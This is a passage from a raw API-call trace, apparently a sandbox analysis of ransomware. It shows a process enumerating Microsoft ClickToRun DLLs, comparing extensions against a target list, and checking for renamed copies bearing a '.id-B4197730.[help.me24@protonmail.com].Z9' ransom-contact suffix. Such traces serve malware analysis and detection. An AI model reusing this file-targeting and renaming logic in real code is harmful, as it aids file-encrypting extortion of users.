	[0085.083] lstrlenW (lpString=".dbf") returned 4
	[0085.083] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0085.083] lstrlenW (lpString=".1cd") returned 4
	[0085.083] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0085.084] lstrlenW (lpString=".jpg") returned 4
	[0085.084] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0085.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0085.084] lstrlenW (lpString=".doc") returned 4
	[0085.084] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.084] lstrlenW (lpString=".docx") returned 5
	[0085.740] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1
	[0085.740] lstrlenW (lpString=".pdf") returned 4
	[0085.740] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.740] lstrlenW (lpString=".xls") returned 4
	[0085.740] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.740] lstrlenW (lpString=".xlsx") returned 5
	[0085.740] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1
	[0085.740] lstrlenW (lpString=".ppt") returned 4
	[0085.772] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0085.772] lstrlenW (lpString=".zip") returned 4
	[0085.772] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.772] lstrlenW (lpString=".rar") returned 4
	[0085.772] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.772] lstrlenW (lpString=".bz2") returned 4
	[0085.772] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.772] lstrlenW (lpString=".7z") returned 3
	[0085.772] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0085.772] lstrlenW (lpString=".dbf") returned 4
	[0085.772] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0085.772] lstrlenW (lpString=".1cd") returned 4
	[0085.772] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0085.772] lstrlenW (lpString=".jpg") returned 4
	[0085.772] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.772] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0085.772] lstrlenW (lpString="AppVIsvVirtualization.dll") returned 25
	[0085.772] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0085.773] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=567512) returned 1
	[0085.773] CloseHandle (hObject=0x338) returned 1
	[0085.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll")) returned 0x20
	[0085.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0085.773] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0085.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83
	[0085.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83
	[0085.773] lstrlenW (lpString=".doc") returned 4
	[0085.773] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.773] lstrlenW (lpString=".docx") returned 5
	[0085.773] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0085.773] lstrlenW (lpString=".pdf") returned 4
	[0085.773] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.773] lstrlenW (lpString=".xls") returned 4
	[0085.773] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.773] lstrlenW (lpString=".xlsx") returned 5
	[0085.773] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0085.773] lstrlenW (lpString=".ppt") returned 4
	[0085.773] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83
	[0085.773] lstrlenW (lpString=".zip") returned 4
	[0085.774] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.774] lstrlenW (lpString=".rar") returned 4
	[0085.774] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.774] lstrlenW (lpString=".bz2") returned 4
	[0085.774] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.774] lstrlenW (lpString=".7z") returned 3
	[0085.774] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83
	[0085.774] lstrlenW (lpString=".dbf") returned 4
	[0085.774] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83
	[0085.774] lstrlenW (lpString=".1cd") returned 4
	[0085.774] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83
	[0085.774] lstrlenW (lpString=".jpg") returned 4
	[0085.774] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83
	[0085.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83
	[0085.774] lstrlenW (lpString=".doc") returned 4
	[0085.774] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.774] lstrlenW (lpString=".docx") returned 5
	[0085.774] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0085.774] lstrlenW (lpString=".pdf") returned 4
	[0085.774] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.774] lstrlenW (lpString=".xls") returned 4
	[0085.774] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.774] lstrlenW (lpString=".xlsx") returned 5
	[0085.774] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0085.774] lstrlenW (lpString=".ppt") returned 4
	[0085.774] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83
	[0085.774] lstrlenW (lpString=".zip") returned 4
	[0085.774] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.774] lstrlenW (lpString=".rar") returned 4
	[0085.774] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.774] lstrlenW (lpString=".bz2") returned 4
	[0085.775] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.775] lstrlenW (lpString=".7z") returned 3
	[0085.775] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83
	[0085.775] lstrlenW (lpString=".dbf") returned 4
	[0085.775] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83
	[0085.775] lstrlenW (lpString=".1cd") returned 4
	[0085.775] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83
	[0085.775] lstrlenW (lpString=".jpg") returned 4
	[0085.775] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.775] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0085.775] lstrlenW (lpString="AppVManifest.dll") returned 16
	[0085.775] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0085.775] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=1231576) returned 1
	[0085.775] CloseHandle (hObject=0x338) returned 1
	[0085.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll")) returned 0x20
	[0085.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0085.776] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0085.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74
	[0085.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74
	[0085.776] lstrlenW (lpString=".doc") returned 4
	[0085.776] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.776] lstrlenW (lpString=".docx") returned 5
	[0085.776] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0085.776] lstrlenW (lpString=".pdf") returned 4
	[0085.776] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.776] lstrlenW (lpString=".xls") returned 4
	[0085.776] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.776] lstrlenW (lpString=".xlsx") returned 5
	[0085.776] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0085.776] lstrlenW (lpString=".ppt") returned 4
	[0085.776] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74
	[0085.776] lstrlenW (lpString=".zip") returned 4
	[0085.776] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.776] lstrlenW (lpString=".rar") returned 4
	[0085.776] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.776] lstrlenW (lpString=".bz2") returned 4
	[0085.776] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.776] lstrlenW (lpString=".7z") returned 3
	[0085.776] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74
	[0085.776] lstrlenW (lpString=".dbf") returned 4
	[0085.776] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74
	[0085.776] lstrlenW (lpString=".1cd") returned 4
	[0085.776] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74
	[0085.776] lstrlenW (lpString=".jpg") returned 4
	[0085.776] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74
	[0085.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74
	[0085.777] lstrlenW (lpString=".doc") returned 4
	[0085.777] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.777] lstrlenW (lpString=".docx") returned 5
	[0085.777] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0085.777] lstrlenW (lpString=".pdf") returned 4
	[0085.777] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.777] lstrlenW (lpString=".xls") returned 4
	[0085.777] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.777] lstrlenW (lpString=".xlsx") returned 5
	[0085.777] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0085.777] lstrlenW (lpString=".ppt") returned 4
	[0085.777] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74
	[0085.777] lstrlenW (lpString=".zip") returned 4
	[0085.777] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.777] lstrlenW (lpString=".rar") returned 4
	[0085.777] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.777] lstrlenW (lpString=".bz2") returned 4
	[0085.777] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.777] lstrlenW (lpString=".7z") returned 3
	[0085.777] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74
	[0085.777] lstrlenW (lpString=".dbf") returned 4
	[0085.777] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74
	[0085.777] lstrlenW (lpString=".1cd") returned 4
	[0085.777] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74
	[0085.777] lstrlenW (lpString=".jpg") returned 4
	[0085.777] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.778] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0085.778] lstrlenW (lpString="AppVOrchestration.dll") returned 21
	[0085.778] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0085.778] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=947928) returned 1
	[0085.778] CloseHandle (hObject=0x338) returned 1
	[0085.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll")) returned 0x20
	[0085.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0085.778] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0085.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79
	[0085.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79
	[0085.778] lstrlenW (lpString=".doc") returned 4
	[0085.778] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.778] lstrlenW (lpString=".docx") returned 5
	[0085.778] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0085.778] lstrlenW (lpString=".pdf") returned 4
	[0085.778] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.778] lstrlenW (lpString=".xls") returned 4
	[0085.778] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.778] lstrlenW (lpString=".xlsx") returned 5
	[0085.778] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0085.778] lstrlenW (lpString=".ppt") returned 4
	[0085.779] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79
	[0085.779] lstrlenW (lpString=".zip") returned 4
	[0085.779] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.779] lstrlenW (lpString=".rar") returned 4
	[0085.779] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.779] lstrlenW (lpString=".bz2") returned 4
	[0085.779] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.779] lstrlenW (lpString=".7z") returned 3
	[0085.779] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79
	[0085.779] lstrlenW (lpString=".dbf") returned 4
	[0085.779] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79
	[0085.779] lstrlenW (lpString=".1cd") returned 4
	[0085.779] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79
	[0085.779] lstrlenW (lpString=".jpg") returned 4
	[0085.779] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79
	[0085.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79
	[0085.779] lstrlenW (lpString=".doc") returned 4
	[0085.779] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.779] lstrlenW (lpString=".docx") returned 5
	[0085.779] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0085.779] lstrlenW (lpString=".pdf") returned 4
	[0085.779] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.779] lstrlenW (lpString=".xls") returned 4
	[0085.779] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.779] lstrlenW (lpString=".xlsx") returned 5
	[0085.779] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0085.779] lstrlenW (lpString=".ppt") returned 4
	[0085.779] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79
	[0085.779] lstrlenW (lpString=".zip") returned 4
	[0085.779] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.779] lstrlenW (lpString=".rar") returned 4
	[0085.780] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.780] lstrlenW (lpString=".bz2") returned 4
	[0085.780] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.780] lstrlenW (lpString=".7z") returned 3
	[0085.780] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79
	[0085.780] lstrlenW (lpString=".dbf") returned 4
	[0085.780] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79
	[0085.780] lstrlenW (lpString=".1cd") returned 4
	[0085.780] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79
	[0085.780] lstrlenW (lpString=".jpg") returned 4
	[0085.780] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.780] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0085.780] lstrlenW (lpString="AppVPolicy.dll") returned 14
	[0085.780] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0085.780] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=1295576) returned 1
	[0085.780] CloseHandle (hObject=0x338) returned 1
	[0085.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll")) returned 0x20
	[0085.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0085.781] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0085.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72
	[0085.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72
	[0085.781] lstrlenW (lpString=".doc") returned 4
	[0085.781] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.781] lstrlenW (lpString=".docx") returned 5
	[0085.781] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1
	[0085.781] lstrlenW (lpString=".pdf") returned 4
	[0085.781] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.781] lstrlenW (lpString=".xls") returned 4
	[0085.781] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.781] lstrlenW (lpString=".xlsx") returned 5
	[0085.781] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1
	[0085.781] lstrlenW (lpString=".ppt") returned 4
	[0085.781] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72
	[0085.781] lstrlenW (lpString=".zip") returned 4
	[0085.781] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.781] lstrlenW (lpString=".rar") returned 4
	[0085.781] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.781] lstrlenW (lpString=".bz2") returned 4
	[0085.781] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.781] lstrlenW (lpString=".7z") returned 3
	[0085.781] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72
	[0085.781] lstrlenW (lpString=".dbf") returned 4
	[0085.781] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72
	[0085.781] lstrlenW (lpString=".1cd") returned 4
	[0085.781] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72
	[0085.781] lstrlenW (lpString=".jpg") returned 4
	[0085.781] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72
	[0085.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72
	[0085.782] lstrlenW (lpString=".doc") returned 4
	[0085.782] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.782] lstrlenW (lpString=".docx") returned 5
	[0085.782] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1
	[0085.782] lstrlenW (lpString=".pdf") returned 4
	[0085.782] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.782] lstrlenW (lpString=".xls") returned 4
	[0085.782] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.782] lstrlenW (lpString=".xlsx") returned 5
	[0085.782] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1
	[0085.782] lstrlenW (lpString=".ppt") returned 4
	[0085.782] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72
	[0085.782] lstrlenW (lpString=".zip") returned 4
	[0085.782] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.782] lstrlenW (lpString=".rar") returned 4
	[0085.782] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.782] lstrlenW (lpString=".bz2") returned 4
	[0085.782] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.782] lstrlenW (lpString=".7z") returned 3
	[0085.782] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72
	[0085.782] lstrlenW (lpString=".dbf") returned 4
